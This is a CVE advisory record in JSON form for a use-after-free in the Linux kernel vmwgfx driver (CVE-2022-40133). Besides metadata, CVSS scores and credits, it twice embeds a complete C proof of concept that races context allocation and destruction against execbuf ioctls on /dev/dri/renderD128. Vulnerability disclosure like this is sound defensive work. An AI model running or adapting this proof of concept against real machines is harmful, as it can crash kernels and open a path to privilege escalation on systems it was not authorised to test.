CVE-2022-40133 (GCVE-0-2022-40133)

Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2024-09-17 03:49
VLAI?
Title
There is an UAF vulnerability in vmwgfx driver
Summary
A use-after-free(UAF) vulnerability was found in function 'vmw_execbuf_tie_context' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity ?
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
CWE
Assigner
References
Impacted products
Vendor Product Version
Linux kernel Affected: v4.20-rc1 , < 5.13.0-52* (custom)
Create a notification for this product.
Credits
Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab
Show details on NVD website
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        "providerMetadata": {
          "dateUpdated": "2024-08-03T12:14:39.687Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
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          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.13.0-52*",
              "status": "affected",
              "version": "v4.20-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
      ],
      "datePublic": "2022-09-06T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_execbuf_tie_context\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\nint cid=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid,int cid){   \nint cmd[0x1000]={0};\ncmd[0]=1148;\ncmd[1]=0x50;\ncmd[2]=0;\ncmd[3]=1;\ncmd[4]=sid;\ncmd[5]=10;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=cid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"poc failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\n\n\nvoid destory_context(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x40086448, \u0026arg) == -1)\n                {\n                        printf(\"destory_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }       \n}\nvoid thread1(){\nwhile(1){\ncid = alloc_context(); \ndestory_context(cid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(sid,cid);  \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n    \n\ninit();\nsid=create_surface();\n\n\n        if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n                perror(\"thread_create\");\n        }\n\n\t\n              if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n                perror(\"thread_create\");\n        }\n        \n        while(1){\n        sleep(3);\n        \n        }\n\n\n}"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
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      "problemTypes": [
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          "descriptions": [
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              "cweId": "CWE-416",
              "description": "CWE-416 Use After Free",
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              "type": "CWE"
            }
          ]
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      "providerMetadata": {
        "dateUpdated": "2022-09-09T14:39:51",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
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      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"
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      "source": {
        "defect": [
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        "discovery": "INTERNAL"
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      "title": "There is an UAF vulnerability in vmwgfx driver",
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          "ASSIGNER": "security@openanolis.org",
          "DATE_PUBLIC": "2022-09-06T07:00:00.000Z",
          "ID": "CVE-2022-40133",
          "STATE": "PUBLIC",
          "TITLE": "There is an UAF vulnerability in vmwgfx driver"
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        "affects": {
          "vendor": {
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                "product": {
                  "product_data": [
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                      "product_name": "kernel",
                      "version": {
                        "version_data": [
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                            "version_name": "5.13.0-52",
                            "version_value": "v4.20-rc1"
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        "credit": [
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            "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
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        "description": {
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              "lang": "eng",
              "value": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_execbuf_tie_context\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
            }
          ]
        },
        "exploit": [
          {
            "lang": "en",
            "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\nint cid=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid,int cid){   \nint cmd[0x1000]={0};\ncmd[0]=1148;\ncmd[1]=0x50;\ncmd[2]=0;\ncmd[3]=1;\ncmd[4]=sid;\ncmd[5]=10;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=cid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"poc failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\n\n\nvoid destory_context(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x40086448, \u0026arg) == -1)\n                {\n                        printf(\"destory_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }       \n}\nvoid thread1(){\nwhile(1){\ncid = alloc_context(); \ndestory_context(cid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(sid,cid);  \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n    \n\ninit();\nsid=create_surface();\n\n\n        if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n                perror(\"thread_create\");\n        }\n\n\t\n              if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n                perror(\"thread_create\");\n        }\n        \n        while(1){\n        sleep(3);\n        \n        }\n\n\n}"
          }
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          "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
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        "problemtype": {
          "problemtype_data": [
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              "description": [
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                  "lang": "eng",
                  "value": "CWE-416 Use After Free"
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              "name": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2075",
              "refsource": "MISC",
              "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"
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  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2022-40133",
    "datePublished": "2022-09-09T14:39:51.501308Z",
    "dateReserved": "2022-09-07T00:00:00",
    "dateUpdated": "2024-09-17T03:49:24.624Z",
    "state": "PUBLISHED"
  },
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  "dataVersion": "5.1"
}


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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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